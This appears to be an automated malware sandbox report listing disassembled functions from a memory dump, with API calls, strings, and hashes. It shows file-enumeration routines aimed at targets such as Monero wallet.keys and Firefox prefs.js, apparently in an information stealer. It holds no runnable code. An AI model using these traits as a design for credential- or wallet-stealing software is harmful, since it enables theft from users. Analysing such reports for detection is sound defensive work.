Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 1aaf400b2273b4065d7d710ed087df150013bee714acd782618ae1de795e9bf1
Instruction ID: 88271e41953303d751eedc97ec8f5d0b307ef1151e849d075bb1108da632243e
Opcode Fuzzy Hash: 1aaf400b2273b4065d7d710ed087df150013bee714acd782618ae1de795e9bf1
Instruction Fuzzy Hash: A06185B2900218ABCB24EBA0DD49FEE737CBB58700F04859DF509A6141EB71EB95CF95

Function 001D4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 001D4580
RtlAllocateHeap.NTDLL(00000000), ref: 001D4587
wsprintfA.USER32 ref: 001D45A6
FindFirstFileA.KERNEL32(?,?), ref: 001D45BD
StrCmpCA.SHLWAPI(?,001E0FC4), ref: 001D45EB
StrCmpCA.SHLWAPI(?,001E0FC8), ref: 001D4601
FindNextFileA.KERNEL32(000000FF,?), ref: 001D468B
FindClose.KERNEL32(000000FF), ref: 001D46A0
lstrcat.KERNEL32(?,00E3EAB8), ref: 001D46C5
lstrcat.KERNEL32(?,00E3DA40), ref: 001D46D8
lstrlen.KERNEL32(?), ref: 001D46E5
lstrlen.KERNEL32(?), ref: 001D46F6

Strings

%s\*, xrefs: 001D459A
%s\%s, xrefs: 001D461B

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 2ecf64059963630326f3d8d1be13675cb67a6154dbf1603a9cfda91fdeb91f2e
Instruction ID: c5f856407e258a052ae2599d85dd7bb0ee5b80aaa465ded0801dd50d23996156
Opcode Fuzzy Hash: 2ecf64059963630326f3d8d1be13675cb67a6154dbf1603a9cfda91fdeb91f2e
Instruction Fuzzy Hash: DC5187B6540318ABCB24FB70DD89FED737CAB58300F404599F649A2150EB74DB948F96

Function 001D3EA0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 001D3EC3
FindFirstFileA.KERNEL32(?,?), ref: 001D3EDA
StrCmpCA.SHLWAPI(?,001E0FAC), ref: 001D3F08
StrCmpCA.SHLWAPI(?,001E0FB0), ref: 001D3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 001D406C
FindClose.KERNEL32(000000FF), ref: 001D4081

Strings

%s\%s, xrefs: 001D3EB7
h, xrefs: 001D3F62

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$h
API String ID: 180737720-3418665255
Opcode ID: 8929d80d2bf58d2e1bf5e8093fa19bff467f998867212a4c16676e300cba3532
Instruction ID: 36d819330a3fe5cbfa67e1748d38e914d685f96889a106bcc56d42a74520b081
Opcode Fuzzy Hash: 8929d80d2bf58d2e1bf5e8093fa19bff467f998867212a4c16676e300cba3532
Instruction Fuzzy Hash: D05196B6900318ABCB24FBB0DD85EEE737CBB58300F008599B659A2140DB75DB958F95

Function 001CED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 001CED3E
FindFirstFileA.KERNEL32(?,?), ref: 001CED55
StrCmpCA.SHLWAPI(?,001E1538), ref: 001CEDAB
StrCmpCA.SHLWAPI(?,001E153C), ref: 001CEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 001CF2AE
FindClose.KERNEL32(000000FF), ref: 001CF2C3

Strings

%s\*.*, xrefs: 001CED32

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 8d687ff4be9061345a33a43469a9d63b62a70fe7df2096d34d3b24de0beeb19a
Instruction ID: dc9e6e05c8c4ab6709d725fe156828a66ad3b960af8feb026d6509c95f429fcb
Opcode Fuzzy Hash: 8d687ff4be9061345a33a43469a9d63b62a70fe7df2096d34d3b24de0beeb19a
Instruction Fuzzy Hash: 35E1F6719111589ADB58FB60CC92EEE733CAF74301F8041EAB40A62152EF306F8ADF56

Function 001CF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

Part of subcall function 001DA920: lstrcpy.KERNEL32(00000000,?), ref: 001DA972
Part of subcall function 001DA920: lstrcat.KERNEL32(00000000), ref: 001DA982

Part of subcall function 001DA9B0: lstrlen.KERNEL32(?,00E39130,?,\Monero\wallet.keys,001E0E17), ref: 001DA9C5
Part of subcall function 001DA9B0: lstrcpy.KERNEL32(00000000), ref: 001DAA04
Part of subcall function 001DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001DAA12

Part of subcall function 001DA8A0: lstrcpy.KERNEL32(?,001E0E17), ref: 001DA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,001E15B8,001E0D96), ref: 001CF71E
StrCmpCA.SHLWAPI(?,001E15BC), ref: 001CF76F
StrCmpCA.SHLWAPI(?,001E15C0), ref: 001CF785
FindNextFileA.KERNEL32(000000FF,?), ref: 001CFAB1
FindClose.KERNEL32(000000FF), ref: 001CFAC3

Strings

prefs.js, xrefs: 001CF812

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 1df9f25bfe117f878832f95d010fb94f5fa2565fa8889998fec58aef569bd07f
Instruction ID: a98f52f0f966995bf1ddefe405e60afa24da86f27c215506d3ab1f3b4b008df2
Opcode Fuzzy Hash: 1df9f25bfe117f878832f95d010fb94f5fa2565fa8889998fec58aef569bd07f
Instruction Fuzzy Hash: D9B145719002549BCB24FF64DC95FEE7379AF64300F8085ADA80A97251EF319B4ACF96

Function 00596031 Relevance: 15.5, Strings: 11, Instructions: 1706COMMON

Download Yara Rule

Strings

Z=, xrefs: 00597112
cwg, xrefs: 00596CE0
a~, xrefs: 00596F8B
D=Xw, xrefs: 0059616C
g^wO, xrefs: 005972CE
xnC, xrefs: 00596D4D
V~o, xrefs: 00596488
X[=, xrefs: 00596157
wA/, xrefs: 00596A53
zy, xrefs: 005965E9
e7/, xrefs: 005965AB

Memory Dump Source

Source File: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: D=Xw$X[=$Z=$a~$cwg$g^wO$wA/$xnC$V~o$e7/$zy
API String ID: 0-3030764929
Opcode ID: 152fe010d69f4655c8bd94256e98664688d1f2ed624a69a33027ca8a6e6543d6
Instruction ID: 56759293292a1e1c35a89334c596a7f7a2a95cd1bfbda0ab826b25a731d84210
Opcode Fuzzy Hash: 152fe010d69f4655c8bd94256e98664688d1f2ed624a69a33027ca8a6e6543d6
Instruction Fuzzy Hash: B9B24BF36082049FE3046E2DEC8567AFBD9EFD4320F16863DEAC5C7744E93598058696

Function 001C16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,001E510C,?,?,?,001E51B4,?,?,00000000,?,00000000), ref: 001C1923
StrCmpCA.SHLWAPI(?,001E525C), ref: 001C1973
StrCmpCA.SHLWAPI(?,001E5304), ref: 001C1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 001C1D40
DeleteFileA.KERNEL32(00000000), ref: 001C1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 001C1E20
FindClose.KERNEL32(000000FF), ref: 001C1E32

Part of subcall function 001DA920: lstrcpy.KERNEL32(00000000,?), ref: 001DA972
Part of subcall function 001DA920: lstrcat.KERNEL32(00000000), ref: 001DA982

Part of subcall function 001DA9B0: lstrlen.KERNEL32(?,00E39130,?,\Monero\wallet.keys,001E0E17), ref: 001DA9C5
Part of subcall function 001DA9B0: lstrcpy.KERNEL32(00000000), ref: 001DAA04
Part of subcall function 001DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001DAA12

Part of subcall function 001DA8A0: lstrcpy.KERNEL32(?,001E0E17), ref: 001DA905

Strings

\*.*, xrefs: 001C17F1

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 4499aae7d39a0aad838535cfed8a3ed324d856b492386231e076b942e76157a1
Instruction ID: 964470a5bacf9d5b5ac160f75110b0ab6e98accd27796b69f8b457517cde5eea
Opcode Fuzzy Hash: 4499aae7d39a0aad838535cfed8a3ed324d856b492386231e076b942e76157a1
Instruction Fuzzy Hash: 121247719501589BCB19FB60CCA6EEE7378AF74301FC0419AB50A62291EF306F89DF95

Function 001CDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

Part of subcall function 001DA9B0: lstrlen.KERNEL32(?,00E39130,?,\Monero\wallet.keys,001E0E17), ref: 001DA9C5
Part of subcall function 001DA9B0: lstrcpy.KERNEL32(00000000), ref: 001DAA04
Part of subcall function 001DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001DAA12

Part of subcall function 001DA8A0: lstrcpy.KERNEL32(?,001E0E17), ref: 001DA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,001E0C2E), ref: 001CDE5E
StrCmpCA.SHLWAPI(?,001E14C8), ref: 001CDEAE
StrCmpCA.SHLWAPI(?,001E14CC), ref: 001CDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 001CE3E0
FindClose.KERNEL32(000000FF), ref: 001CE3F2

Strings

\*.*, xrefs: 001CDE26

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: cd28f9198bd80aded5ac6bec978e009426e997b3873533ab4f3556e7a22c67e1
Instruction ID: 1124ace908988f3ddda8beda2e519476f274363886babafd1453db047a3f1229
Opcode Fuzzy Hash: cd28f9198bd80aded5ac6bec978e009426e997b3873533ab4f3556e7a22c67e1
Instruction Fuzzy Hash: 10F1A0718501689ADB19EB60DCA5EEE7378BF34301FC041EAB40A62191EF306F89DF56

Function 001CDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

Part of subcall function 001DA920: lstrcpy.KERNEL32(00000000,?), ref: 001DA972
Part of subcall function 001DA920: lstrcat.KERNEL32(00000000), ref: 001DA982

Part of subcall function 001DA9B0: lstrlen.KERNEL32(?,00E39130,?,\Monero\wallet.keys,001E0E17), ref: 001DA9C5
Part of subcall function 001DA9B0: lstrcpy.KERNEL32(00000000), ref: 001DAA04
Part of subcall function 001DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001DAA12

Part of subcall function 001DA8A0: lstrcpy.KERNEL32(?,001E0E17), ref: 001DA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,001E14B0,001E0C2A), ref: 001CDAEB
StrCmpCA.SHLWAPI(?,001E14B4), ref: 001CDB33
StrCmpCA.SHLWAPI(?,001E14B8), ref: 001CDB49
FindNextFileA.KERNEL32(000000FF,?), ref: 001CDDCC
FindClose.KERNEL32(000000FF), ref: 001CDDDE

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: b4287a481f0c5099730c3f110a3235b3e57d39f48514e55985c8b86f1467d97b
Instruction ID: a1baeaa42b66428280e1088d4dd914331f0b56d7d90f903befbd9d5f98b4583b
Opcode Fuzzy Hash: b4287a481f0c5099730c3f110a3235b3e57d39f48514e55985c8b86f1467d97b
Instruction Fuzzy Hash: 0B914872900104A7CB14FBB0ED56EED737DAFA4300F808569F90A96281EF35DB19CB96

Function 00599590 Relevance: 12.9, Strings: 9, Instructions: 1634COMMON

Download Yara Rule

Strings

9|, xrefs: 00599C56
!8n, xrefs: 005998A1
)_r, xrefs: 0059A8C6
!8n, xrefs: 0059985A
V*s, xrefs: 00599B3D
719d, xrefs: 0059A762
R}/, xrefs: 00599E3A
gjMY, xrefs: 0059A380
\mw, xrefs: 0059A0FD

Memory Dump Source

Source File: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: )_r$!8n$!8n$719d$R}/$V*s$\mw$gjMY$9|
API String ID: 0-306087274
Opcode ID: c0d1a75898de9aaf887df7d28672cd850b9674f1d04ac10bf50ff80fcd7ad98e
Instruction ID: bc953d7ca646ea60d7fee298ec5079902156710505cc4c5c0463f3f315194ba1
Opcode Fuzzy Hash: c0d1a75898de9aaf887df7d28672cd850b9674f1d04ac10bf50ff80fcd7ad98e
Instruction Fuzzy Hash: 5CB227F3A0C6049FE3046E2DEC8567ABBE9EBD4720F1A463DEAC4C3744E93558058697

Function 001D7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

GetKeyboardLayoutList.USER32(00000000,00000000,001E05AF), ref: 001D7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 001D7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 001D7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 001D7C62
LocalFree.KERNEL32(00000000), ref: 001D7D22

Strings

/ , xrefs: 001D7C7F

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
